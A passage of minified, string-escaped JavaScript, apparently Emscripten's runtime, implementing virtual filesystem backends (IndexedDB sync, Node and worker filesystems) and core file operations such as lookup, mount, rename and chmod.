\x20db=src.type===\x22remote\x22?src.db:dst.db;var\x20transaction=db.transaction([IDBFS.DB_STORE_NAME],\x22readwrite\x22);var\x20store=transaction.objectStore(IDBFS.DB_STORE_NAME);function\x20done(err){if(err){if(!done.errored){done.errored=true;return\x20callback(err)}return}if(++completed>=total){return\x20callback(null)}}transaction.onerror=(function(e){done(this.error);e.preventDefault()});create.sort().forEach((function(path){if(dst.type===\x22local\x22){IDBFS.loadRemoteEntry(store,path,(function(err,entry){if(err)return\x20done(err);IDBFS.storeLocalEntry(path,entry,done)}))}else{IDBFS.loadLocalEntry(path,(function(err,entry){if(err)return\x20done(err);IDBFS.storeRemoteEntry(store,path,entry,done)}))}}));remove.sort().reverse().forEach((function(path){if(dst.type===\x22local\x22){IDBFS.removeLocalEntry(path,done)}else{IDBFS.removeRemoteEntry(store,path,done)}}))})};var\x20NODEFS={isWindows:false,staticInit:(function(){NODEFS.isWindows=!!process.platform.match(/^win/)}),mount:(function(mount){assert(ENVIRONMENT_IS_NODE);return\x20NODEFS.createNode(null,\x22/\x22,NODEFS.getMode(mount.opts.root),0)}),createNode:(function(parent,name,mode,dev){if(!FS.isDir(mode)&&!FS.isFile(mode)&&!FS.isLink(mode)){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EINVAL)}var\x20node=FS.createNode(parent,name,mode);node.node_ops=NODEFS.node_ops;node.stream_ops=NODEFS.stream_ops;return\x20node}),getMode:(function(path){var\x20stat;try{stat=fs.lstatSync(path);if(NODEFS.isWindows){stat.mode=stat.mode|(stat.mode&146)>>1}}catch(e){if(!e.code)throw\x20e;throw\x20new\x20FS.ErrnoError(ERRNO_CODES[e.code])}return\x20stat.mode}),realPath:(function(node){var\x20parts=[];while(node.parent!==node){parts.push(node.name);node=node.parent}parts.push(node.mount.opts.root);parts.reverse();return\x20PATH.join.apply(null,parts)}),flagsToPermissionStringMap:{0:\x22r\x22,1:\x22r+\x22,2:\x22r+\x22,64:\x22r\x22,65:\x22r+\x22,66:\x22r+\x22,129:\x22rx+\x22,193:\x22rx+\x22,514:\x22w+\x22,577:\x22w\x22,578:\x22w+\x22,705:\x22wx\x22,706:\x22wx+\x22,1024:\x22a\x22,1025:\x22a\x22,1026:\x22a+\x22,1089:\x22a\x22,1090:\x22a+\x22,1153:\x22ax\x22,1154:\x22ax+\x22,1217:\x22ax\x22,1218:\x22ax+\x22,4096:\x22rs\x22,4098:\x22rs+\x22},flagsToPermissionString:(function(flags){flags&=~2097152;flags&=~2048;flags&=~32768;flags&=~524288;if(flags\x20in\x20NODEFS.flagsToPermissionStringMap){return\x20NODEFS.flagsToPermissionStringMap[flags]}else{throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EINVAL)}}),node_ops:{getattr:(function(node){var\x20path=NODEFS.realPath(node);var\x20stat;try{stat=fs.lstatSync(path)}catch(e){if(!e.code)throw\x20e;throw\x20new\x20FS.ErrnoError(ERRNO_CODES[e.code])}if(NODEFS.isWindows&&!stat.blksize){stat.blksize=4096}if(NODEFS.isWindows&&!stat.blocks){stat.blocks=(stat.size+stat.blksize-1)/stat.blksize|0}return{dev:stat.dev,ino:stat.ino,mode:stat.mode,nlink:stat.nlink,uid:stat.uid,gid:stat.gid,rdev:stat.rdev,size:stat.size,atime:stat.atime,mtime:stat.mtime,ctime:stat.ctime,blksize:stat.blksize,blocks:stat.blocks}}),setattr:(function(node,attr){var\x20path=NODEFS.realPath(node);try{if(attr.mode!==undefined){fs.chmodSync(path,attr.mode);node.mode=attr.mode}if(attr.timestamp!==undefined){var\x20date=new\x20Date(attr.timestamp);fs.utimesSync(path,date,date)}if(attr.size!==undefined){fs.truncateSync(path,attr.size)}}catch(e){if(!e.code)throw\x20e;throw\x20new\x20FS.ErrnoError(ERRNO_CODES[e.code])}}),lookup:(function(parent,name){var\x20path=PATH.join2(NODEFS.realPath(parent),name);var\x20mode=NODEFS.getMode(path);return\x20NODEFS.createNode(parent,name,mode)}),mknod:(function(parent,name,mode,dev){var\x20node=NODEFS.createNode(parent,name,mode,dev);var\x20path=NODEFS.realPath(node);try{if(FS.isDir(node.mode)){fs.mkdirSync(path,node.mode)}else{fs.writeFileSync(path,\x22\x22,{mode:node.mode})}}catch(e){if(!e.code)throw\x20e;throw\x20new\x20FS.ErrnoError(ERRNO_CODES[e.code])}return\x20node}),rename:(function(oldNode,newDir,newName){var\x20oldPath=NODEFS.realPath(oldNode);var\x20newPath=PATH.join2(NODEFS.realPath(newDir),newName);try{fs.renameSync(oldPath,newPath)}catch(e){if(!e.code)throw\x20e;throw\x20new\x20FS.ErrnoError(ERRNO_CODES[e.code])}}),unlink:(function(parent,name){var\x20path=PATH.join2(NODEFS.realPath(parent),name);try{fs.unlinkSync(path)}catch(e){if(!e.code)throw\x20e;throw\x20new\x20FS.ErrnoError(ERRNO_CODES[e.code])}}),rmdir:(function(parent,name){var\x20path=PATH.join2(NODEFS.realPath(parent),name);try{fs.rmdirSync(path)}catch(e){if(!e.code)throw\x20e;throw\x20new\x20FS.ErrnoError(ERRNO_CODES[e.code])}}),readdir:(function(node){var\x20path=NODEFS.realPath(node);try{return\x20fs.readdirSync(path)}catch(e){if(!e.code)throw\x20e;throw\x20new\x20FS.ErrnoError(ERRNO_CODES[e.code])}}),symlink:(function(parent,newName,oldPath){var\x20newPath=PATH.join2(NODEFS.realPath(parent),newName);try{fs.symlinkSync(oldPath,newPath)}catch(e){if(!e.code)throw\x20e;throw\x20new\x20FS.ErrnoError(ERRNO_CODES[e.code])}}),readlink:(function(node){var\x20path=NODEFS.realPath(node);try{path=fs.readlinkSync(path);path=NODEJS_PATH.relative(NODEJS_PATH.resolve(node.mount.opts.root),path);return\x20path}catch(e){if(!e.code)throw\x20e;throw\x20new\x20FS.ErrnoError(ERRNO_CODES[e.code])}})},stream_ops:{open:(function(stream){var\x20path=NODEFS.realPath(stream.node);try{if(FS.isFile(stream.node.mode)){stream.nfd=fs.openSync(path,NODEFS.flagsToPermissionString(stream.flags))}}catch(e){if(!e.code)throw\x20e;throw\x20new\x20FS.ErrnoError(ERRNO_CODES[e.code])}}),close:(function(stream){try{if(FS.isFile(stream.node.mode)&&stream.nfd){fs.closeSync(stream.nfd)}}catch(e){if(!e.code)throw\x20e;throw\x20new\x20FS.ErrnoError(ERRNO_CODES[e.code])}}),read:(function(stream,buffer,offset,length,position){if(length===0)return\x200;var\x20nbuffer=new\x20Buffer(length);var\x20res;try{res=fs.readSync(stream.nfd,nbuffer,0,length,position)}catch(e){throw\x20new\x20FS.ErrnoError(ERRNO_CODES[e.code])}if(res>0){for(var\x20i=0;i<res;i++){buffer[offset+i]=nbuffer[i]}}return\x20res}),write:(function(stream,buffer,offset,length,position){var\x20nbuffer=new\x20Buffer(buffer.subarray(offset,offset+length));var\x20res;try{res=fs.writeSync(stream.nfd,nbuffer,0,length,position)}catch(e){throw\x20new\x20FS.ErrnoError(ERRNO_CODES[e.code])}return\x20res}),llseek:(function(stream,offset,whence){var\x20position=offset;if(whence===1){position+=stream.position}else\x20if(whence===2){if(FS.isFile(stream.node.mode)){try{var\x20stat=fs.fstatSync(stream.nfd);position+=stat.size}catch(e){throw\x20new\x20FS.ErrnoError(ERRNO_CODES[e.code])}}}if(position<0){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EINVAL)}return\x20position})}};var\x20WORKERFS={DIR_MODE:16895,FILE_MODE:33279,reader:null,mount:(function(mount){assert(ENVIRONMENT_IS_WORKER);if(!WORKERFS.reader)WORKERFS.reader=new\x20FileReaderSync;var\x20root=WORKERFS.createNode(null,\x22/\x22,WORKERFS.DIR_MODE,0);var\x20createdParents={};function\x20ensureParent(path){var\x20parts=path.split(\x22/\x22);var\x20parent=root;for(var\x20i=0;i<parts.length-1;i++){var\x20curr=parts.slice(0,i+1).join(\x22/\x22);if(!createdParents[curr]){createdParents[curr]=WORKERFS.createNode(parent,parts[i],WORKERFS.DIR_MODE,0)}parent=createdParents[curr]}return\x20parent}function\x20base(path){var\x20parts=path.split(\x22/\x22);return\x20parts[parts.length-1]}Array.prototype.forEach.call(mount.opts[\x22files\x22]||[],(function(file){WORKERFS.createNode(ensureParent(file.name),base(file.name),WORKERFS.FILE_MODE,0,file,file.lastModifiedDate)}));(mount.opts[\x22blobs\x22]||[]).forEach((function(obj){WORKERFS.createNode(ensureParent(obj[\x22name\x22]),base(obj[\x22name\x22]),WORKERFS.FILE_MODE,0,obj[\x22data\x22])}));(mount.opts[\x22packages\x22]||[]).forEach((function(pack){pack[\x22metadata\x22].files.forEach((function(file){var\x20name=file.filename.substr(1);WORKERFS.createNode(ensureParent(name),base(name),WORKERFS.FILE_MODE,0,pack[\x22blob\x22].slice(file.start,file.end))}))}));return\x20root}),createNode:(function(parent,name,mode,dev,contents,mtime){var\x20node=FS.createNode(parent,name,mode);node.mode=mode;node.node_ops=WORKERFS.node_ops;node.stream_ops=WORKERFS.stream_ops;node.timestamp=(mtime||new\x20Date).getTime();assert(WORKERFS.FILE_MODE!==WORKERFS.DIR_MODE);if(mode===WORKERFS.FILE_MODE){node.size=contents.size;node.contents=contents}else{node.size=4096;node.contents={}}if(parent){parent.contents[name]=node}return\x20node}),node_ops:{getattr:(function(node){return{dev:1,ino:undefined,mode:node.mode,nlink:1,uid:0,gid:0,rdev:undefined,size:node.size,atime:new\x20Date(node.timestamp),mtime:new\x20Date(node.timestamp),ctime:new\x20Date(node.timestamp),blksize:4096,blocks:Math.ceil(node.size/4096)}}),setattr:(function(node,attr){if(attr.mode!==undefined){node.mode=attr.mode}if(attr.timestamp!==undefined){node.timestamp=attr.timestamp}}),lookup:(function(parent,name){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ENOENT)}),mknod:(function(parent,name,mode,dev){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EPERM)}),rename:(function(oldNode,newDir,newName){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EPERM)}),unlink:(function(parent,name){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EPERM)}),rmdir:(function(parent,name){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EPERM)}),readdir:(function(node){var\x20entries=[\x22.\x22,\x22..\x22];for(var\x20key\x20in\x20node.contents){if(!node.contents.hasOwnProperty(key)){continue}entries.push(key)}return\x20entries}),symlink:(function(parent,newName,oldPath){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EPERM)}),readlink:(function(node){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EPERM)})},stream_ops:{read:(function(stream,buffer,offset,length,position){if(position>=stream.node.size)return\x200;var\x20chunk=stream.node.contents.slice(position,position+length);var\x20ab=WORKERFS.reader.readAsArrayBuffer(chunk);buffer.set(new\x20Uint8Array(ab),offset);return\x20chunk.size}),write:(function(stream,buffer,offset,length,position){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EIO)}),llseek:(function(stream,offset,whence){var\x20position=offset;if(whence===1){position+=stream.position}else\x20if(whence===2){if(FS.isFile(stream.node.mode)){position+=stream.node.size}}if(position<0){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EINVAL)}return\x20position})}};STATICTOP+=16;STATICTOP+=16;STATICTOP+=16;var\x20FS={root:null,mounts:[],devices:[null],streams:[],nextInode:1,nameTable:null,currentPath:\x22/\x22,initialized:false,ignorePermissions:true,trackingDelegate:{},tracking:{openFlags:{READ:1,WRITE:2}},ErrnoError:null,genericErrors:{},filesystems:null,syncFSRequests:0,handleFSError:(function(e){if(!(e\x20instanceof\x20FS.ErrnoError))throw\x20e+\x22\x20:\x20\x22+stackTrace();return\x20___setErrNo(e.errno)}),lookupPath:(function(path,opts){path=PATH.resolve(FS.cwd(),path);opts=opts||{};if(!path)return{path:\x22\x22,node:null};var\x20defaults={follow_mount:true,recurse_count:0};for(var\x20key\x20in\x20defaults){if(opts[key]===undefined){opts[key]=defaults[key]}}if(opts.recurse_count>8){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ELOOP)}var\x20parts=PATH.normalizeArray(path.split(\x22/\x22).filter((function(p){return!!p})),false);var\x20current=FS.root;var\x20current_path=\x22/\x22;for(var\x20i=0;i<parts.length;i++){var\x20islast=i===parts.length-1;if(islast&&opts.parent){break}current=FS.lookupNode(current,parts[i]);current_path=PATH.join2(current_path,parts[i]);if(FS.isMountpoint(current)){if(!islast||islast&&opts.follow_mount){current=current.mounted.root}}if(!islast||opts.follow){var\x20count=0;while(FS.isLink(current.mode)){var\x20link=FS.readlink(current_path);current_path=PATH.resolve(PATH.dirname(current_path),link);var\x20lookup=FS.lookupPath(current_path,{recurse_count:opts.recurse_count});current=lookup.node;if(count++>40){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ELOOP)}}}}return{path:current_path,node:current}}),getPath:(function(node){var\x20path;while(true){if(FS.isRoot(node)){var\x20mount=node.mount.mountpoint;if(!path)return\x20mount;return\x20mount[mount.length-1]!==\x22/\x22?mount+\x22/\x22+path:mount+path}path=path?node.name+\x22/\x22+path:node.name;node=node.parent}}),hashName:(function(parentid,name){var\x20hash=0;for(var\x20i=0;i<name.length;i++){hash=(hash<<5)-hash+name.charCodeAt(i)|0}return(parentid+hash>>>0)%FS.nameTable.length}),hashAddNode:(function(node){var\x20hash=FS.hashName(node.parent.id,node.name);node.name_next=FS.nameTable[hash];FS.nameTable[hash]=node}),hashRemoveNode:(function(node){var\x20hash=FS.hashName(node.parent.id,node.name);if(FS.nameTable[hash]===node){FS.nameTable[hash]=node.name_next}else{var\x20current=FS.nameTable[hash];while(current){if(current.name_next===node){current.name_next=node.name_next;break}current=current.name_next}}}),lookupNode:(function(parent,name){var\x20err=FS.mayLookup(parent);if(err){throw\x20new\x20FS.ErrnoError(err,parent)}var\x20hash=FS.hashName(parent.id,name);for(var\x20node=FS.nameTable[hash];node;node=node.name_next){var\x20nodeName=node.name;if(node.parent.id===parent.id&&nodeName===name){return\x20node}}return\x20FS.lookup(parent,name)}),createNode:(function(parent,name,mode,rdev){if(!FS.FSNode){FS.FSNode=(function(parent,name,mode,rdev){if(!parent){parent=this}this.parent=parent;this.mount=parent.mount;this.mounted=null;this.id=FS.nextInode++;this.name=name;this.mode=mode;this.node_ops={};this.stream_ops={};this.rdev=rdev});FS.FSNode.prototype={};var\x20readMode=292|73;var\x20writeMode=146;Object.defineProperties(FS.FSNode.prototype,{read:{get:(function(){return(this.mode&readMode)===readMode}),set:(function(val){val?this.mode|=readMode:this.mode&=~readMode})},write:{get:(function(){return(this.mode&writeMode)===writeMode}),set:(function(val){val?this.mode|=writeMode:this.mode&=~writeMode})},isFolder:{get:(function(){return\x20FS.isDir(this.mode)})},isDevice:{get:(function(){return\x20FS.isChrdev(this.mode)})}})}var\x20node=new\x20FS.FSNode(parent,name,mode,rdev);FS.hashAddNode(node);return\x20node}),destroyNode:(function(node){FS.hashRemoveNode(node)}),isRoot:(function(node){return\x20node===node.parent}),isMountpoint:(function(node){return!!node.mounted}),isFile:(function(mode){return(mode&61440)===32768}),isDir:(function(mode){return(mode&61440)===16384}),isLink:(function(mode){return(mode&61440)===40960}),isChrdev:(function(mode){return(mode&61440)===8192}),isBlkdev:(function(mode){return(mode&61440)===24576}),isFIFO:(function(mode){return(mode&61440)===4096}),isSocket:(function(mode){return(mode&49152)===49152}),flagModes:{\x22r\x22:0,\x22rs\x22:1052672,\x22r+\x22:2,\x22w\x22:577,\x22wx\x22:705,\x22xw\x22:705,\x22w+\x22:578,\x22wx+\x22:706,\x22xw+\x22:706,\x22a\x22:1089,\x22ax\x22:1217,\x22xa\x22:1217,\x22a+\x22:1090,\x22ax+\x22:1218,\x22xa+\x22:1218},modeStringToFlags:(function(str){var\x20flags=FS.flagModes[str];if(typeof\x20flags===\x22undefined\x22){throw\x20new\x20Error(\x22Unknown\x20file\x20open\x20mode:\x20\x22+str)}return\x20flags}),flagsToPermissionString:(function(flag){var\x20perms=[\x22r\x22,\x22w\x22,\x22rw\x22][flag&3];if(flag&512){perms+=\x22w\x22}return\x20perms}),nodePermissions:(function(node,perms){if(FS.ignorePermissions){return\x200}if(perms.indexOf(\x22r\x22)!==-1&&!(node.mode&292)){return\x20ERRNO_CODES.EACCES}else\x20if(perms.indexOf(\x22w\x22)!==-1&&!(node.mode&146)){return\x20ERRNO_CODES.EACCES}else\x20if(perms.indexOf(\x22x\x22)!==-1&&!(node.mode&73)){return\x20ERRNO_CODES.EACCES}return\x200}),mayLookup:(function(dir){var\x20err=FS.nodePermissions(dir,\x22x\x22);if(err)return\x20err;if(!dir.node_ops.lookup)return\x20ERRNO_CODES.EACCES;return\x200}),mayCreate:(function(dir,name){try{var\x20node=FS.lookupNode(dir,name);return\x20ERRNO_CODES.EEXIST}catch(e){}return\x20FS.nodePermissions(dir,\x22wx\x22)}),mayDelete:(function(dir,name,isdir){var\x20node;try{node=FS.lookupNode(dir,name)}catch(e){return\x20e.errno}var\x20err=FS.nodePermissions(dir,\x22wx\x22);if(err){return\x20err}if(isdir){if(!FS.isDir(node.mode)){return\x20ERRNO_CODES.ENOTDIR}if(FS.isRoot(node)||FS.getPath(node)===FS.cwd()){return\x20ERRNO_CODES.EBUSY}}else{if(FS.isDir(node.mode)){return\x20ERRNO_CODES.EISDIR}}return\x200}),mayOpen:(function(node,flags){if(!node){return\x20ERRNO_CODES.ENOENT}if(FS.isLink(node.mode)){return\x20ERRNO_CODES.ELOOP}else\x20if(FS.isDir(node.mode)){if(FS.flagsToPermissionString(flags)!==\x22r\x22||flags&512){return\x20ERRNO_CODES.EISDIR}}return\x20FS.nodePermissions(node,FS.flagsToPermissionString(flags))}),MAX_OPEN_FDS:4096,nextfd:(function(fd_start,fd_end){fd_start=fd_start||0;fd_end=fd_end||FS.MAX_OPEN_FDS;for(var\x20fd=fd_start;fd<=fd_end;fd++){if(!FS.streams[fd]){return\x20fd}}throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EMFILE)}),getStream:(function(fd){return\x20FS.streams[fd]}),createStream:(function(stream,fd_start,fd_end){if(!FS.FSStream){FS.FSStream=(function(){});FS.FSStream.prototype={};Object.defineProperties(FS.FSStream.prototype,{object:{get:(function(){return\x20this.node}),set:(function(val){this.node=val})},isRead:{get:(function(){return(this.flags&2097155)!==1})},isWrite:{get:(function(){return(this.flags&2097155)!==0})},isAppend:{get:(function(){return\x20this.flags&1024})}})}var\x20newStream=new\x20FS.FSStream;for(var\x20p\x20in\x20stream){newStream[p]=stream[p]}stream=newStream;var\x20fd=FS.nextfd(fd_start,fd_end);stream.fd=fd;FS.streams[fd]=stream;return\x20stream}),closeStream:(function(fd){FS.streams[fd]=null}),chrdev_stream_ops:{open:(function(stream){var\x20device=FS.getDevice(stream.node.rdev);stream.stream_ops=device.stream_ops;if(stream.stream_ops.open){stream.stream_ops.open(stream)}}),llseek:(function(){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ESPIPE)})},major:(function(dev){return\x20dev>>8}),minor:(function(dev){return\x20dev&255}),makedev:(function(ma,mi){return\x20ma<<8|mi}),registerDevice:(function(dev,ops){FS.devices[dev]={stream_ops:ops}}),getDevice:(function(dev){return\x20FS.devices[dev]}),getMounts:(function(mount){var\x20mounts=[];var\x20check=[mount];while(check.length){var\x20m=check.pop();mounts.push(m);check.push.apply(check,m.mounts)}return\x20mounts}),syncfs:(function(populate,callback){if(typeof\x20populate===\x22function\x22){callback=populate;populate=false}FS.syncFSRequests++;if(FS.syncFSRequests>1){console.log(\x22warning:\x20\x22+FS.syncFSRequests+\x22\x20FS.syncfs\x20operations\x20in\x20flight\x20at\x20once,\x20probably\x20just\x20doing\x20extra\x20work\x22)}var\x20mounts=FS.getMounts(FS.root.mount);var\x20completed=0;function\x20doCallback(err){assert(FS.syncFSRequests>0);FS.syncFSRequests--;return\x20callback(err)}function\x20done(err){if(err){if(!done.errored){done.errored=true;return\x20doCallback(err)}return}if(++completed>=mounts.length){doCallback(null)}}mounts.forEach((function(mount){if(!mount.type.syncfs){return\x20done(null)}mount.type.syncfs(mount,populate,done)}))}),mount:(function(type,opts,mountpoint){var\x20root=mountpoint===\x22/\x22;var\x20pseudo=!mountpoint;var\x20node;if(root&&FS.root){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EBUSY)}else\x20if(!root&&!pseudo){var\x20lookup=FS.lookupPath(mountpoint,{follow_mount:false});mountpoint=lookup.path;node=lookup.node;if(FS.isMountpoint(node)){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EBUSY)}if(!FS.isDir(node.mode)){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ENOTDIR)}}var\x20mount={type:type,opts:opts,mountpoint:mountpoint,mounts:[]};var\x20mountRoot=type.mount(mount);mountRoot.mount=mount;mount.root=mountRoot;if(root){FS.root=mountRoot}else\x20if(node){node.mounted=mount;if(node.mount){node.mount.mounts.push(mount)}}return\x20mountRoot}),unmount:(function(mountpoint){var\x20lookup=FS.lookupPath(mountpoint,{follow_mount:false});if(!FS.isMountpoint(lookup.node)){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EINVAL)}var\x20node=lookup.node;var\x20mount=node.mounted;var\x20mounts=FS.getMounts(mount);Object.keys(FS.nameTable).forEach((function(hash){var\x20current=FS.nameTable[hash];while(current){var\x20next=current.name_next;if(mounts.indexOf(current.mount)!==-1){FS.destroyNode(current)}current=next}}));node.mounted=null;var\x20idx=node.mount.mounts.indexOf(mount);assert(idx!==-1);node.mount.mounts.splice(idx,1)}),lookup:(function(parent,name){return\x20parent.node_ops.lookup(parent,name)}),mknod:(function(path,mode,dev){var\x20lookup=FS.lookupPath(path,{parent:true});var\x20parent=lookup.node;var\x20name=PATH.basename(path);if(!name||name===\x22.\x22||name===\x22..\x22){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EINVAL)}var\x20err=FS.mayCreate(parent,name);if(err){throw\x20new\x20FS.ErrnoError(err)}if(!parent.node_ops.mknod){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EPERM)}return\x20parent.node_ops.mknod(parent,name,mode,dev)}),create:(function(path,mode){mode=mode!==undefined?mode:438;mode&=4095;mode|=32768;return\x20FS.mknod(path,mode,0)}),mkdir:(function(path,mode){mode=mode!==undefined?mode:511;mode&=511|512;mode|=16384;return\x20FS.mknod(path,mode,0)}),mkdirTree:(function(path,mode){var\x20dirs=path.split(\x22/\x22);var\x20d=\x22\x22;for(var\x20i=0;i<dirs.length;++i){if(!dirs[i])continue;d+=\x22/\x22+dirs[i];try{FS.mkdir(d,mode)}catch(e){if(e.errno!=ERRNO_CODES.EEXIST)throw\x20e}}}),mkdev:(function(path,mode,dev){if(typeof\x20dev===\x22undefined\x22){dev=mode;mode=438}mode|=8192;return\x20FS.mknod(path,mode,dev)}),symlink:(function(oldpath,newpath){if(!PATH.resolve(oldpath)){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ENOENT)}var\x20lookup=FS.lookupPath(newpath,{parent:true});var\x20parent=lookup.node;if(!parent){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ENOENT)}var\x20newname=PATH.basename(newpath);var\x20err=FS.mayCreate(parent,newname);if(err){throw\x20new\x20FS.ErrnoError(err)}if(!parent.node_ops.symlink){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EPERM)}return\x20parent.node_ops.symlink(parent,newname,oldpath)}),rename:(function(old_path,new_path){var\x20old_dirname=PATH.dirname(old_path);var\x20new_dirname=PATH.dirname(new_path);var\x20old_name=PATH.basename(old_path);var\x20new_name=PATH.basename(new_path);var\x20lookup,old_dir,new_dir;try{lookup=FS.lookupPath(old_path,{parent:true});old_dir=lookup.node;lookup=FS.lookupPath(new_path,{parent:true});new_dir=lookup.node}catch(e){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EBUSY)}if(!old_dir||!new_dir)throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ENOENT);if(old_dir.mount!==new_dir.mount){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EXDEV)}var\x20old_node=FS.lookupNode(old_dir,old_name);var\x20relative=PATH.relative(old_path,new_dirname);if(relative.charAt(0)!==\x22.\x22){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EINVAL)}relative=PATH.relative(new_path,old_dirname);if(relative.charAt(0)!==\x22.\x22){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)}var\x20new_node;try{new_node=FS.lookupNode(new_dir,new_name)}catch(e){}if(old_node===new_node){return}var\x20isdir=FS.isDir(old_node.mode);var\x20err=FS.mayDelete(old_dir,old_name,isdir);if(err){throw\x20new\x20FS.ErrnoError(err)}err=new_node?FS.mayDelete(new_dir,new_name,isdir):FS.mayCreate(new_dir,new_name);if(err){throw\x20new\x20FS.ErrnoError(err)}if(!old_dir.node_ops.rename){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EPERM)}if(FS.isMountpoint(old_node)||new_node&&FS.isMountpoint(new_node)){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EBUSY)}if(new_dir!==old_dir){err=FS.nodePermissions(old_dir,\x22w\x22);if(err){throw\x20new\x20FS.ErrnoError(err)}}try{if(FS.trackingDelegate[\x22willMovePath\x22]){FS.trackingDelegate[\x22willMovePath\x22](old_path,new_path)}}catch(e){console.log(\x22FS.trackingDelegate[\x27willMovePath\x27](\x27\x22+old_path+\x22\x27,\x20\x27\x22+new_path+\x22\x27)\x20threw\x20an\x20exception:\x20\x22+e.message)}FS.hashRemoveNode(old_node);try{old_dir.node_ops.rename(old_node,new_dir,new_name)}catch(e){throw\x20e}finally{FS.hashAddNode(old_node)}try{if(FS.trackingDelegate[\x22onMovePath\x22])FS.trackingDelegate[\x22onMovePath\x22](old_path,new_path)}catch(e){console.log(\x22FS.trackingDelegate[\x27onMovePath\x27](\x27\x22+old_path+\x22\x27,\x20\x27\x22+new_path+\x22\x27)\x20threw\x20an\x20exception:\x20\x22+e.message)}}),rmdir:(function(path){var\x20lookup=FS.lookupPath(path,{parent:true});var\x20parent=lookup.node;var\x20name=PATH.basename(path);var\x20node=FS.lookupNode(parent,name);var\x20err=FS.mayDelete(parent,name,true);if(err){throw\x20new\x20FS.ErrnoError(err)}if(!parent.node_ops.rmdir){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EPERM)}if(FS.isMountpoint(node)){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EBUSY)}try{if(FS.trackingDelegate[\x22willDeletePath\x22]){FS.trackingDelegate[\x22willDeletePath\x22](path)}}catch(e){console.log(\x22FS.trackingDelegate[\x27willDeletePath\x27](\x27\x22+path+\x22\x27)\x20threw\x20an\x20exception:\x20\x22+e.message)}parent.node_ops.rmdir(parent,name);FS.destroyNode(node);try{if(FS.trackingDelegate[\x22onDeletePath\x22])FS.trackingDelegate[\x22onDeletePath\x22](path)}catch(e){console.log(\x22FS.trackingDelegate[\x27onDeletePath\x27](\x27\x22+path+\x22\x27)\x20threw\x20an\x20exception:\x20\x22+e.message)}}),readdir:(function(path){var\x20lookup=FS.lookupPath(path,{follow:true});var\x20node=lookup.node;if(!node.node_ops.readdir){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ENOTDIR)}return\x20node.node_ops.readdir(node)}),unlink:(function(path){var\x20lookup=FS.lookupPath(path,{parent:true});var\x20parent=lookup.node;var\x20name=PATH.basename(path);var\x20node=FS.lookupNode(parent,name);var\x20err=FS.mayDelete(parent,name,false);if(err){throw\x20new\x20FS.ErrnoError(err)}if(!parent.node_ops.unlink){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EPERM)}if(FS.isMountpoint(node)){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EBUSY)}try{if(FS.trackingDelegate[\x22willDeletePath\x22]){FS.trackingDelegate[\x22willDeletePath\x22](path)}}catch(e){console.log(\x22FS.trackingDelegate[\x27willDeletePath\x27](\x27\x22+path+\x22\x27)\x20threw\x20an\x20exception:\x20\x22+e.message)}parent.node_ops.unlink(parent,name);FS.destroyNode(node);try{if(FS.trackingDelegate[\x22onDeletePath\x22])FS.trackingDelegate[\x22onDeletePath\x22](path)}catch(e){console.log(\x22FS.trackingDelegate[\x27onDeletePath\x27](\x27\x22+path+\x22\x27)\x20threw\x20an\x20exception:\x20\x22+e.message)}}),readlink:(function(path){var\x20lookup=FS.lookupPath(path);var\x20link=lookup.node;if(!link){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ENOENT)}if(!link.node_ops.readlink){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EINVAL)}return\x20PATH.resolve(FS.getPath(link.parent),link.node_ops.readlink(link))}),stat:(function(path,dontFollow){var\x20lookup=FS.lookupPath(path,{follow:!dontFollow});var\x20node=lookup.node;if(!node){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ENOENT)}if(!node.node_ops.getattr){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EPERM)}return\x20node.node_ops.getattr(node)}),lstat:(function(path){return\x20FS.stat(path,true)}),chmod:(function(path,mode,dontFollow){var\x20node;if(typeof\x20path===\x22string\x22){var\x20lookup=FS.lookupPath(path,{follow:!dontFollow});node=lookup.node}else{node=path}if(!node.node_ops.setattr){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EPERM)}node.node_ops.setattr(node,{mode:mode&4095|node.mode&~4095,timestamp:Date.now()})}),lchmod:(function(path,mode){FS.chmod(path,mode,true)}),fchmod:(function(fd,mode){var\x20stream=FS.getStream(fd);if(!stream){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EBADF)}FS.chmod(stream.node,mode)}),chown:(function(path,uid,gid,dontFollow){var\x20node;if(typeof\x20path===\x22string\x22){var\x20lookup=FS.lookupPath(path,{follow:!dontFollow});node=lookup.node}else{node=path}if(!node.node_ops.setattr){throw\x20new\x20FS